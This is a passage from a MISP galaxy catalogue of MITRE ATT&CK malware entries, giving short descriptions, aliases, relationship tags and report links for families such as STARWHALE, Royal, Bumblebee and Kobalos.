[STARWHALE](https://attack.mitre.org/software/S1037) is Windows Script File (WSF) backdoor that has been used by [MuddyWater](https://attack.mitre.org/groups/G0069), possibly since at least November 2021; there is also a [STARWHALE](https://attack.mitre.org/software/S1037) variant written in Golang with similar capabilities. Security researchers have also noted the use of [STARWHALE](https://attack.mitre.org/software/S1037) by UNC3313, which may be associated with [MuddyWater](https://attack.mitre.org/groups/G0069).(Citation: Mandiant UNC3313 Feb 2022)(Citation: DHS CISA AA22-055A MuddyWater February 2022)

The tag is: *misp-galaxy:mitre-malware="STARWHALE - S1037"*

STARWHALE - S1037 is also known as:

- STARWHALE
- CANOPY

Table 11276. Table References

Links
https://attack.mitre.org/software/S1037
https://www.cisa.gov/uscert/ncas/alerts/aa22-055a
https://www.mandiant.com/resources/telegram-malware-iranian-espionage

CORESHELL - S0137

[CORESHELL](https://attack.mitre.org/software/S0137) is a downloader used by [APT28](https://attack.mitre.org/groups/G0007). The older versions of this malware are known as SOURFACE and newer versions as CORESHELL.(Citation: FireEye APT28) (Citation: FireEye APT28 January 2017)

The tag is: *misp-galaxy:mitre-malware="CORESHELL - S0137"*

CORESHELL - S0137 is also known as:

- CORESHELL
- Sofacy
- SOURFACE

View relationships graph

CORESHELL - S0137 has relationships with:

- similar: misp-galaxy:tool="SOURFACE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="CORESHELL" with estimative-language:likelihood-probability="likely"

Table 11277. Table References

Links
https://attack.mitre.org/software/S0137
https://securelist.com/a-slice-of-2017-sofacy-activity/83930/
https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf
https://www.mandiant.com/sites/default/files/2021-09/APT28-Center-of-Storm-2017.pdf

FLIPSIDE - S0173

[FLIPSIDE](https://attack.mitre.org/software/S0173) is a simple tool similar to Plink that is used by [FIN5](https://attack.mitre.org/groups/G0053) to maintain access to victims. (Citation: Mandiant FIN5 GrrCON Oct 2016)

The tag is: *misp-galaxy:mitre-malware="FLIPSIDE - S0173"*

FLIPSIDE - S0173 is also known as:

- FLIPSIDE

Table 11278. Table References

Links
https://attack.mitre.org/software/S0173
https://www.youtube.com/watch?v=fevGZs0EQu8

POWERTON - S0371

[POWERTON](https://attack.mitre.org/software/S0371) is a custom PowerShell backdoor first observed in 2018. It has typically been deployed as a late-stage backdoor by [APT33](https://attack.mitre.org/groups/G0064). At least two variants of the backdoor have been identified, with the later version containing improved functionality.(Citation: FireEye APT33 Guardrail)

The tag is: *misp-galaxy:mitre-malware="POWERTON - S0371"*

POWERTON - S0371 is also known as:

- POWERTON

Table 11279. Table References

Links
https://attack.mitre.org/software/S0371
https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html

Marcher - S0317

[Marcher](https://attack.mitre.org/software/S0317) is Android malware that is used for financial fraud. (Citation: Proofpoint-Marcher)

The tag is: *misp-galaxy:mitre-malware="Marcher - S0317"*

Marcher - S0317 is also known as:

- Marcher

Table 11280. Table References

Links
https://attack.mitre.org/software/S0317
https://www.proofpoint.com/us/threat-insight/post/credential-phishing-and-android-banking-trojan-combine-austrian-mobile-attacks

Royal - S1073

[Royal](https://attack.mitre.org/software/S1073) is ransomware that first appeared in early 2022; a version that also targets ESXi servers was later observed in February 2023. [Royal](https://attack.mitre.org/software/S1073) employs partial encryption and multiple threads to evade detection and speed encryption. [Royal](https://attack.mitre.org/software/S1073) has been used in attacks against multiple industries worldwide—including critical infrastructure. Security researchers have identified similarities in the encryption routines and TTPs used in [Royal](https://attack.mitre.org/software/S1073) and [Conti](https://attack.mitre.org/software/S0575) attacks and noted a possible connection between their operators.(Citation: Microsoft Royal ransomware November 2022)(Citation: Cybereason Royal December 2022)(Citation: Kroll Royal Deep Dive February 2023)(Citation: Trend Micro Royal Linux ESXi February 2023)(Citation: CISA Royal AA23-061A March 2023)

The tag is: *misp-galaxy:mitre-malware="Royal - S1073"*

Royal - S1073 is also known as:

- Royal

Table 11281. Table References

Links
https://attack.mitre.org/software/S1073
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-061a
https://www.cybereason.com/blog/royal-ransomware-analysis
https://www.kroll.com/en/insights/publications/cyber/royal-ransomware-deep-dive
https://www.microsoft.com/en-us/security/blog/2022/11/17/dev-0569-finds-new-ways-to-deliver-royal-ransomware-various-payloads/
https://www.trendmicro.com/en_us/research/23/b/royal-ransomware-expands-attacks-by-targeting-linux-esxi-servers.html

OLDBAIT - S0138

[OLDBAIT](https://attack.mitre.org/software/S0138) is a credential harvester used by [APT28](https://attack.mitre.org/groups/G0007). (Citation: FireEye APT28) (Citation: FireEye APT28 January 2017)

The tag is: *misp-galaxy:mitre-malware="OLDBAIT - S0138"*

OLDBAIT - S0138 is also known as:

- OLDBAIT
- Sasfis

View relationships graph

OLDBAIT - S0138 has relationships with:

- similar: misp-galaxy:tool="OLDBAIT" with estimative-language:likelihood-probability="likely"

Table 11282. Table References

Links
https://attack.mitre.org/software/S0138
https://web.archive.org/web/20151022204649/https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf
https://www.mandiant.com/sites/default/files/2021-09/APT28-Center-of-Storm-2017.pdf

FlawedAmmyy - S0381

[FlawedAmmyy](https://attack.mitre.org/software/S0381) is a remote access tool (RAT) that was first seen in early 2016. The code for [FlawedAmmyy](https://attack.mitre.org/software/S0381) was based on leaked source code for a version of Ammyy Admin, a remote access software.(Citation: Proofpoint TA505 Mar 2018)

The tag is: *misp-galaxy:mitre-malware="FlawedAmmyy - S0381"*

FlawedAmmyy - S0381 is also known as:

- FlawedAmmyy

Table 11283. Table References

Links
https://attack.mitre.org/software/S0381
https://www.proofpoint.com/us/threat-insight/post/leaked-ammyy-admin-source-code-turned-malware

Chameleon - S1083

[Chameleon](https://attack.mitre.org/software/S1083) is an Android banking trojan that can leverage Android's Accessibility Services to perform malicious activities. Believed to have been first active in January 2023, [Chameleon](https://attack.mitre.org/software/S1083) has been observed targeting users in Australia and Poland by masquerading as official applications. A new variant of [Chameleon](https://attack.mitre.org/software/S1083) has expanded its targets to include Android users in the United Kingdom and Italy.(Citation: cyble_chameleon_0423)(Citation: ThreatFabric_Chameleon_Dec2023)

The tag is: *misp-galaxy:mitre-malware="Chameleon - S1083"*

Chameleon - S1083 is also known as:

- Chameleon

Table 11284. Table References

Links
https://attack.mitre.org/software/S1083
https://cyble.com/blog/chameleon-a-new-android-malware-spotted-in-the-wild/
https://www.threatfabric.com/blogs/android-banking-trojan-chameleon-is-back-in-action

HAWKBALL - S0391

[HAWKBALL](https://attack.mitre.org/software/S0391) is a backdoor that was observed in targeting of the government sector in Central Asia.(Citation: FireEye HAWKBALL Jun 2019)

The tag is: *misp-galaxy:mitre-malware="HAWKBALL - S0391"*

HAWKBALL - S0391 is also known as:

- HAWKBALL

Table 11285. Table References

Links
https://attack.mitre.org/software/S0391
https://www.fireeye.com/blog/threat-research/2019/06/government-in-central-asia-targeted-with-hawkball-backdoor.html

Allwinner - S0319

[Allwinner](https://attack.mitre.org/software/S0319) is a company that supplies processors used in Android tablets and other devices. A Linux kernel distributed by [Allwinner](https://attack.mitre.org/software/S0319) for use on these devices reportedly contained a backdoor. (Citation: HackerNews-Allwinner)

The tag is: *misp-galaxy:mitre-malware="Allwinner - S0319"*

Table 11286. Table References

Links
https://attack.mitre.org/software/S0319
https://thehackernews.com/2016/05/android-kernal-exploit.html

Bumblebee - S1039

[Bumblebee](https://attack.mitre.org/software/S1039) is a custom loader written in C++ that has been used by multiple threat actors, including possible initial access brokers, to download and execute additional payloads since at least March 2022. [Bumblebee](https://attack.mitre.org/software/S1039) has been linked to ransomware operations including [Conti](https://attack.mitre.org/software/S0575), Quantum, and Mountlocker and derived its name

from the appearance of "bumblebee" in the user-agent.(Citation: Google EXOTIC LILY March 2022)(Citation: Proofpoint Bumblebee April 2022)(Citation: Symantec Bumblebee June 2022)

The tag is: *misp-galaxy:mitre-malware="Bumblebee - S1039"*

Bumblebee - S1039 is also known as:

- Bumblebee

Table 11287. Table References

Links
https://attack.mitre.org/software/S1039
https://blog.google/threat-analysis-group/exposing-initial-access-broker-ties-conti/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bumblebee-loader-cybercrime
https://www.proofpoint.com/us/blog/threat-insight/bumblebee-is-still-transforming

PowerDuke - S0139

[PowerDuke](https://attack.mitre.org/software/S0139) is a backdoor that was used by [APT29](https://attack.mitre.org/groups/G0016) in 2016. It has primarily been delivered through Microsoft Word or Excel attachments containing malicious macros. (Citation: Volexity PowerDuke November 2016)

The tag is: *misp-galaxy:mitre-malware="PowerDuke - S0139"*

PowerDuke - S0139 is also known as:

- PowerDuke

View relationships graph

PowerDuke - S0139 has relationships with:

- similar: misp-galaxy:malpedia="PowerDuke" with estimative-language:likelihood-probability="likely"

Table 11288. Table References

Links
https://attack.mitre.org/software/S0139
https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/

FlyTrap - S1093

[FlyTrap](https://attack.mitre.org/software/S1093) is an Android trojan, first detected in March 2021,

that uses social engineering tactics to compromise Facebook accounts. [FlyTrap](https://attack.mitre.org/software/S1093) was initially detected through infected apps on the Google Play store, and is believed to have impacted over 10,000 victims across at least 140 countries.(Citation: Trend Micro FlyTrap)

The tag is: *misp-galaxy:mitre-malware="FlyTrap - S1093"*

FlyTrap - S1093 is also known as:

- FlyTrap

Table 11289. Table References

Links
https://attack.mitre.org/software/S1093
https://news.trendmicro.com/2021/08/17/flytrap-android-malware-is-taking-over-facebook-accounts-protect-yourself-with-a-malware-scanner/

BabyShark - S0414

[BabyShark](https://attack.mitre.org/software/S0414) is a Microsoft Visual Basic (VB) script-based malware family that is believed to be associated with several North Korean campaigns. (Citation: Unit42 BabyShark Feb 2019)

The tag is: *misp-galaxy:mitre-malware="BabyShark - S0414"*

BabyShark - S0414 is also known as:

- BabyShark
- LATEOP

Table 11290. Table References

Links
https://attack.mitre.org/software/S0414
https://services.google.com/fh/files/misc/apt43-report-en.pdf
https://unit42.paloaltonetworks.com/babyshark-malware-part-two-attacks-continue-using-kimjongrat-and-pcrat/
https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/

ChChes - S0144

[ChChes](https://attack.mitre.org/software/S0144) is a Trojan that appears to be used exclusively by [menuPass](https://attack.mitre.org/groups/G0045). It was used to target Japanese organizations in 2016. Its lack of persistence methods suggests it may be intended as a first-stage tool. (Citation: Palo Alto menuPass Feb 2017) (Citation: JPCERT ChChes Feb 2017) (Citation: PWC Cloud Hopper

Technical Annex April 2017)

The tag is: *misp-galaxy:mitre-malware="ChChes - S0144"*

ChChes - S0144 is also known as:

- ChChes
- Scorpion
- HAYMAKER

View relationships graph

ChChes - S0144 has relationships with:

- similar: misp-galaxy:malpedia="ChChes" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:tool="HAYMAKER" with estimative-language:likelihood-probability="likely"

Table 11291. Table References

Links
http://researchcenter.paloaltonetworks.com/2017/02/unit42-menupass-returns-new-malware-new-attacks-japanese-academics-organizations/
https://attack.mitre.org/software/S0144
https://blogs.jpcert.or.jp/en/2017/02/chches-malware—93d6.html
https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html
https://www.pwc.co.uk/cyber-security/pdf/pwc-uk-operation-cloud-hopper-technical-annex-april-2017.pdf
https://x.com/ItsReallyNick/status/850105140589633536

FunnyDream - S1044

[FunnyDream](https://attack.mitre.org/software/S1044) is a backdoor with multiple components that was used during the [FunnyDream](https://attack.mitre.org/campaigns/C0007) campaign since at least 2019, primarily for execution and exfiltration.(Citation: Bitdefender FunnyDream Campaign November 2020)

The tag is: *misp-galaxy:mitre-malware="FunnyDream - S1044"*

FunnyDream - S1044 is also known as:

- FunnyDream

Table 11292. Table References

Links
https://attack.mitre.org/software/S1044

https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf

PowerShower - S0441

[PowerShower](https://attack.mitre.org/software/S0441) is a PowerShell backdoor used by [Inception](https://attack.mitre.org/groups/G0100) for initial reconnaissance and to download and execute second stage payloads.(Citation: Unit 42 Inception November 2018)(Citation: Kaspersky Cloud Atlas August 2019)

The tag is: *misp-galaxy:mitre-malware="PowerShower - S0441"*

PowerShower - S0441 is also known as:

- PowerShower

Table 11293. Table References

Links
https://attack.mitre.org/software/S0441
https://securelist.com/recent-cloud-atlas-activity/92016/
https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability/

BOOSTWRITE - S0415

[BOOSTWRITE](https://attack.mitre.org/software/S0415) is a loader crafted to be launched via abuse of the DLL search order of applications used by [FIN7](https://attack.mitre.org/groups/G0046).(Citation: FireEye FIN7 Oct 2019)

The tag is: *misp-galaxy:mitre-malware="BOOSTWRITE - S0415"*

BOOSTWRITE - S0415 is also known as:

- BOOSTWRITE

Table 11294. Table References

Links
https://attack.mitre.org/software/S0415
https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html

POWERSOURCE - S0145

[POWERSOURCE](https://attack.mitre.org/software/S0145) is a PowerShell backdoor that is a heavily obfuscated and modified version of the publicly available tool DNS_TXT_Pwnage. It was observed in

February 2017 in spearphishing campaigns against personnel involved with United States Securities and Exchange Commission (SEC) filings at various organizations. The malware was delivered when macros were enabled by the victim and a VBS script was dropped. (Citation: FireEye FIN7 March 2017) (Citation: Cisco DNSMessenger March 2017)

The tag is: *misp-galaxy:mitre-malware="POWERSOURCE - S0145"*

POWERSOURCE - S0145 is also known as:

- POWERSOURCE
- DNSMessenger

View relationships graph

POWERSOURCE - S0145 has relationships with:

- similar: misp-galaxy:malpedia="DNSMessenger" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:rat="DNSMessenger" with estimative-language:likelihood-probability="likely"

Table 11295. Table References

Links
http://blog.talosintelligence.com/2017/03/dnsmessenger.html
https://attack.mitre.org/software/S0145
https://web.archive.org/web/20180808125108/https:/www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html

Drinik - S1054

[Drinik](https://attack.mitre.org/software/S1054) is an evolving Android banking trojan that was observed targeting customers of around 27 banks in India in August 2021. Initially seen as an SMS stealer in 2016, [Drinik](https://attack.mitre.org/software/S1054) resurfaced as a banking trojan with more advanced capabilities included in subsequent versions between September 2021 and August 2022.(Citation: cyble_drinik_1022)

The tag is: *misp-galaxy:mitre-malware="Drinik - S1054"*

Drinik - S1054 is also known as:

- Drinik

Table 11296. Table References

Links
https://attack.mitre.org/software/S1054

https://web.archive.org/web/20221114031945/https://blog.cyble.com/2022/10/27/drinik-malware-returns-with-advanced-capabilities-targeting-indian-taxpayers/

LoudMiner - S0451

[LoudMiner](https://attack.mitre.org/software/S0451) is a cryptocurrency miner which uses virtualization software to siphon system resources. The miner has been bundled with pirated copies of Virtual Studio Technology (VST) for Windows and macOS.(Citation: ESET LoudMiner June 2019)

The tag is: *misp-galaxy:mitre-malware="LoudMiner - S0451"*

LoudMiner - S0451 is also known as:

- LoudMiner

Table 11297. Table References

Links
https://attack.mitre.org/software/S0451
https://www.welivesecurity.com/2019/06/20/loudminer-mining-cracked-vst-software/

WellMess - S0514

[WellMess](https://attack.mitre.org/software/S0514) is lightweight malware family with variants written in .NET and Golang that has been in use since at least 2018 by [APT29](https://attack.mitre.org/groups/G0016).(Citation: CISA WellMess July 2020)(Citation: PWC WellMess July 2020)(Citation: NCSC APT29 July 2020)

The tag is: *misp-galaxy:mitre-malware="WellMess - S0514"*

WellMess - S0514 is also known as:

- WellMess

Table 11298. Table References

Links
https://attack.mitre.org/software/S0514
https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198b
https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf
https://www.pwc.co.uk/issues/cyber-security-services/insights/cleaning-up-after-wellmess.html

TEXTMATE - S0146

[TEXTMATE](https://attack.mitre.org/software/S0146) is a second-stage PowerShell backdoor that is memory-resident. It was observed being used along with [POWERSOURCE](https://attack.mitre.org/

software/S0145) in February 2017. (Citation: FireEye FIN7 March 2017)

The tag is: *misp-galaxy:mitre-malware="TEXTMATE - S0146"*

TEXTMATE - S0146 is also known as:

- TEXTMATE
- DNSMessenger

View relationships graph

TEXTMATE - S0146 has relationships with:

- similar: misp-galaxy:malpedia="DNSMessenger" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:rat="DNSMessenger" with estimative-language:likelihood-probability="likely"

Table 11299. Table References

Links
http://blog.talosintelligence.com/2017/03/dnsmessenger.html
https://attack.mitre.org/software/S0146
https://web.archive.org/web/20180808125108/https:/www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html

CostaBricks - S0614

[CostaBricks](https://attack.mitre.org/software/S0614) is a loader that was used to deploy 32-bit backdoors in the [CostaRicto](https://attack.mitre.org/groups/G0132) campaign.(Citation: BlackBerry CostaRicto November 2020)

The tag is: *misp-galaxy:mitre-malware="CostaBricks - S0614"*

CostaBricks - S0614 is also known as:

- CostaBricks

Table 11300. Table References

Links
https://attack.mitre.org/software/S0614
https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced

SDBbot - S0461

[SDBbot](https://attack.mitre.org/software/S0461) is a backdoor with installer and loader components that has been used by [TA505](https://attack.mitre.org/groups/G0092) since at least

2019.(Citation: Proofpoint TA505 October 2019)(Citation: IBM TA505 April 2020)

The tag is: *misp-galaxy:mitre-malware="SDBbot - S0461"*

SDBbot - S0461 is also known as:

- SDBbot

Table 11301. Table References

Links
https://attack.mitre.org/software/S0461
https://securityintelligence.com/posts/ta505-continues-to-infect-networks-with-sdbbot-rat/
https://www.proofpoint.com/us/threat-insight/post/ta505-distributes-new-sdbbot-remote-access-trojan-get2-downloader

SVCReady - S1064

[SVCReady](https://attack.mitre.org/software/S1064) is a loader that has been used since at least April 2022 in malicious spam campaigns. Security researchers have noted overlaps between [TA551](https://attack.mitre.org/groups/G0127) activity and [SVCReady](https://attack.mitre.org/software/S1064) distribution, including similarities in file names, lure images, and identical grammatical errors.(Citation: HP SVCReady Jun 2022)

The tag is: *misp-galaxy:mitre-malware="SVCReady - S1064"*

SVCReady - S1064 is also known as:

- SVCReady

Table 11302. Table References

Links
https://attack.mitre.org/software/S1064
https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/

RDFSNIFFER - S0416

[RDFSNIFFER](https://attack.mitre.org/software/S0416) is a module loaded by [BOOSTWRITE](https://attack.mitre.org/software/S0415) which allows an attacker to monitor and tamper with legitimate connections made via an application designed to provide visibility and system management capabilities to remote IT techs.(Citation: FireEye FIN7 Oct 2019)

The tag is: *misp-galaxy:mitre-malware="RDFSNIFFER - S0416"*

RDFSNIFFER - S0416 is also known as:

- RDFSNIFFER

Table 11303. Table References

Links
https://attack.mitre.org/software/S0416
https://www.fireeye.com/blog/threat-research/2019/10/mahalo-fin7-responding-to-new-tools-and-techniques.html

TDTESS - S0164

[TDTESS](https://attack.mitre.org/software/S0164) is a 64-bit .NET binary backdoor used by [CopyKittens](https://attack.mitre.org/groups/G0052). (Citation: ClearSky Wilted Tulip July 2017)

The tag is: *misp-galaxy:mitre-malware="TDTESS - S0164"*

TDTESS - S0164 is also known as:

- TDTESS

View relationships graph

TDTESS - S0164 has relationships with:

- similar: misp-galaxy:malpedia="TDTESS" with estimative-language:likelihood-probability="likely"

Table 11304. Table References

Links
http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf
https://attack.mitre.org/software/S0164

PowGoop - S1046

[PowGoop](https://attack.mitre.org/software/S1046) is a loader that consists of a DLL loader and a PowerShell-based downloader; it has been used by [MuddyWater](https://attack.mitre.org/groups/G0069) as their main loader.(Citation: DHS CISA AA22-055A MuddyWater February 2022)(Citation: CYBERCOM Iranian Intel Cyber January 2022)

The tag is: *misp-galaxy:mitre-malware="PowGoop - S1046"*

PowGoop - S1046 is also known as:

- PowGoop

Table 11305. Table References

Links
https://attack.mitre.org/software/S1046
https://www.cisa.gov/uscert/ncas/alerts/aa22-055a

https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/

Kobalos - S0641

[Kobalos](https://attack.mitre.org/software/S0641) is a multi-platform backdoor that can be used against Linux, FreeBSD, and Solaris. [Kobalos](https://attack.mitre.org/software/S0641) has been deployed against high profile targets, including high-performance computers, academic servers, an endpoint security vendor, and a large internet service provider; it has been found in Europe, North America, and Asia. [Kobalos](https://attack.mitre.org/software/S0641) was first identified in late 2019.(Citation: ESET Kobalos Feb 2021)(Citation: ESET Kobalos Jan 2021)

The tag is: *misp-galaxy:mitre-malware="Kobalos - S0641"*

Kobalos - S0641 is also known as:

- Kobalos

Table 11306. Table References

Links
https://attack.mitre.org/software/S0641
https://www.welivesecurity.com/2021/02/02/kobalos-complex-linux-threat-high-performance-computing-infrastructure/
https://www.welivesecurity.com/wp-content/uploads/2021/01/ESET_Kobalos.pdf

ANDROMEDA - S1074

[ANDROMEDA](https://attack.mitre.org/software/S1074) is commodity malware that was widespread in the early 2010's and continues to be observed in infections across a wide variety of industries. During the 2022 [C0026](https://attack.mitre.org/campaigns/C0026) campaign, threat actors re-registered expired [ANDROMEDA](https://attack.mitre.org/software/S1074) C2 domains to spread malware to select targets in Ukraine.(Citation: Mandiant Suspected Turla Campaign February 2023)

The tag is: *misp-galaxy:mitre-malware="ANDROMEDA - S1074"*

ANDROMEDA - S1074 is also known as:

- ANDROMEDA

Table 11307. Table References

Links
https://attack.mitre.org/software/S1074
https://www.mandiant.com/resources/blog/turla-galaxy-opportunity

GRIFFON - S0417

[GRIFFON](https://attack.mitre.org/software/S0417) is a JavaScript backdoor used by [FIN7](https://attack.mitre.org/groups/G0046). (Citation: SecureList Griffon May 2019)

The tag is: *misp-galaxy:mitre-malware="GRIFFON - S0417"*

GRIFFON - S0417 is also known as:

- GRIFFON

Table 11308. Table References

Links
https://attack.mitre.org/software/S0417
https://securelist.com/fin7-5-the-infamous-cybercrime-rig-fin7-continues-its-activities/90703/

Mori - S1047

[Mori](https://attack.mitre.org/software/S1047) is a backdoor that has been used by [MuddyWater](https://attack.mitre.org/groups/G0069) since at least January 2022.(Citation: DHS CISA AA22-055A MuddyWater February 2022)(Citation: CYBERCOM Iranian Intel Cyber January 2022)

The tag is: *misp-galaxy:mitre-malware="Mori - S1047"*

Mori - S1047 is also known as:

- Mori

Table 11309. Table References

Links
https://attack.mitre.org/software/S1047
https://www.cisa.gov/uscert/ncas/alerts/aa22-055a
https://www.cybercom.mil/Media/News/Article/2897570/iranian-intel-cyber-suite-of-malware-uses-open-source-tools/

Pteranodon - S0147

[Pteranodon](https://attack.mitre.org/software/S0147) is a custom backdoor used by [Gamaredon Group](https://attack.mitre.org/groups/G0047). (Citation: Palo Alto Gamaredon Feb 2017)

The tag is: *misp-galaxy:mitre-malware="Pteranodon - S0147"*

Pteranodon - S0147 is also known as:

- Pteranodon

- Pterodo

View relationships graph

Pteranodon - S0147 has relationships with:

- similar: misp-galaxy:malpedia="Pteranodon" with estimative-language:likelihood-probability="likely"

Table 11310. Table References

Links
https://attack.mitre.org/software/S0147
https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine
https://www.secureworks.com/research/threat-profiles/iron-tilden

build_downer - S0471

[build_downer](https://attack.mitre.org/software/S0471) is a downloader that has been used by [BRONZE BUTLER](https://attack.mitre.org/groups/G0060) since at least 2019.(Citation: Trend Micro Tick November 2019)

The tag is: *misp-galaxy:mitre-malware="build_downer - S0471"*

build_downer - S0471 is also known as:

- build_downer

Table 11311. Table References

Links
https://attack.mitre.org/software/S0471
https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf

QUIETEXIT - S1084

[QUIETEXIT](https://attack.mitre.org/software/S1084) is a novel backdoor, based on the open-source Dropbear SSH client-server software, that has been used by [APT29](https://attack.mitre.org/groups/G0016) since at least 2021. [APT29](https://attack.mitre.org/groups/G0016) has deployed [QUIETEXIT](https://attack.mitre.org/software/S1084) on opaque network appliances that typically don’t support antivirus or endpoint detection and response tools within a victim environment.(Citation: Mandiant APT29 Eye Spy Email Nov 22)

The tag is: *misp-galaxy:mitre-malware="QUIETEXIT - S1084"*

QUIETEXIT - S1084 is also known as:

- QUIETEXIT

Table 11312. Table References

Links
https://attack.mitre.org/software/S1084
https://www.mandiant.com/resources/blog/unc3524-eye-spy-email

POWRUNER - S0184

[POWRUNER](https://attack.mitre.org/software/S0184) is a PowerShell script that sends and receives commands to and from the C2 server. (Citation: FireEye APT34 Dec 2017)

The tag is: *misp-galaxy:mitre-malware="POWRUNER - S0184"*

POWRUNER - S0184 is also known as:

- POWRUNER

View relationships graph

POWRUNER - S0184 has relationships with:

- similar: misp-galaxy:malpedia="POWRUNER" with estimative-language:likelihood-probability="likely"

Table 11313. Table References

Links
https://attack.mitre.org/software/S0184
https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html

ViceLeaker - S0418

[ViceLeaker](https://attack.mitre.org/software/S0418) is a spyware framework, capable of extensive surveillance and data exfiltration operations, primarily targeting devices belonging to Israeli citizens.(Citation: SecureList - ViceLeaker 2019)(Citation: Bitdefender - Triout 2018)

The tag is: *misp-galaxy:mitre-malware="ViceLeaker - S0418"*

ViceLeaker - S0418 is also known as:

- ViceLeaker
- Triout

Table 11314. Table References

Links
https://attack.mitre.org/software/S0418
https://labs.bitdefender.com/2018/08/triout-spyware-framework-for-android-with-extensive-surveillance-capabilities/
https://securelist.com/fanning-the-flames-viceleaker-operation/90877/

RTM - S0148

[RTM](https://attack.mitre.org/software/S0148) is custom malware written in Delphi. It is used by the group of the same name ([RTM](https://attack.mitre.org/groups/G0048)). Newer versions of the malware have been reported publicly as Redaman.(Citation: ESET RTM Feb 2017)(Citation: Unit42 Redaman January 2019)

The tag is: *misp-galaxy:mitre-malware="RTM - S0148"*

RTM - S0148 is also known as:

- RTM
- Redaman

View relationships graph

RTM - S0148 has relationships with:

- similar: misp-galaxy:malpedia="RTM" with estimative-language:likelihood-probability="likely"

Table 11315. Table References

Links
https://attack.mitre.org/software/S0148
https://unit42.paloaltonetworks.com/russian-language-malspam-pushing-redaman-banking-malware/
https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf

BRATA - S1094

[BRATA](https://attack.mitre.org/software/S1094) (Brazilian Remote Access Tool, Android), is an evolving Android malware strain, detected in late 2018 and again in late 2021. Originating in Brazil, [BRATA](https://attack.mitre.org/software/S1094) was later also found in the UK, Poland, Italy, Spain, and USA, where it is believed to have targeted financial institutions such as banks. There are currently three known variants of [BRATA](https://attack.mitre.org/software/S1094).(Citation: securelist_brata_0819)(Citation: cleafy_brata_0122)(Citation: mcafee_brata_0421)

The tag is: *misp-galaxy:mitre-malware="BRATA - S1094"*

BRATA - S1094 is also known as:

- BRATA

Table 11316. Table References

Links
https://attack.mitre.org/software/S1094
https://securelist.com/spying-android-rat-from-brazil-brata/92775/
https://www.cleafy.com/cleafy-labs/how-brata-is-monitoring-your-bank-account
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/brata-keeps-sneaking-into-google-play-now-targeting-usa-and-spain/

SUGARUSH - S1049

[SUGARUSH](https://attack.mitre.org/software/S1049) is a small custom backdoor that can establish a reverse shell over TCP to a hard coded C2 address. [SUGARUSH](https://attack.mitre.org/software/S1049) was first identified during analysis of UNC3890's [C0010](https://attack.mitre.org/campaigns/C0010) campaign targeting Israeli companies, which began in late 2020.(Citation: Mandiant UNC3890 Aug 2022)

The tag is: *misp-galaxy:mitre-malware="SUGARUSH - S1049"*

SUGARUSH - S1049 is also known as:

- SUGARUSH

Table 11317. Table References

Links
https://attack.mitre.org/software/S1049
https://www.mandiant.com/resources/blog/suspected-iranian-actor-targeting-israeli-shipping

SimBad - S0419

[SimBad](https://attack.mitre.org/software/S0419) was a strain of adware on the Google Play Store, distributed through the RXDroider Software Development Kit. The name "SimBad" was derived from the fact that most of the infected applications were simulator games. The adware was controlled using an instance of the open source framework Parse Server.(Citation: CheckPoint SimBad 2019)

The tag is: *misp-galaxy:mitre-malware="SimBad - S0419"*

SimBad - S0419 is also known as:

- SimBad

Table 11318. Table References

Links

https://attack.mitre.org/software/S0419
https://research.checkpoint.com/simbad-a-rogue-adware-campaign-on-google-play/

MoonWind - S0149

[MoonWind](https://attack.mitre.org/software/S0149) is a remote access tool (RAT) that was used in 2016 to target organizations in Thailand. (Citation: Palo Alto MoonWind March 2017)

The tag is: *misp-galaxy:mitre-malware="MoonWind - S0149"*

MoonWind - S0149 is also known as:

- MoonWind

View relationships graph

MoonWind - S0149 has relationships with:

- similar: misp-galaxy:tool="MoonWind" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:malpedia="MoonWind" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:rat="MoonWind" with estimative-language:likelihood-probability="likely"

Table 11319. Table References

Links
http://researchcenter.paloaltonetworks.com/2017/03/unit42-trochilus-rat-new-moonwind-rat-used-attack-thai-utility-organizations/
https://attack.mitre.org/software/S0149

StrongPity - S0491

[StrongPity](https://attack.mitre.org/software/S0491) is an information stealing malware used by [PROMETHIUM](https://attack.mitre.org/groups/G0056).(Citation: Bitdefender StrongPity June 2020)(Citation: Talos Promethium June 2020)

The tag is: *misp-galaxy:mitre-malware="StrongPity - S0491"*

StrongPity - S0491 is also known as:

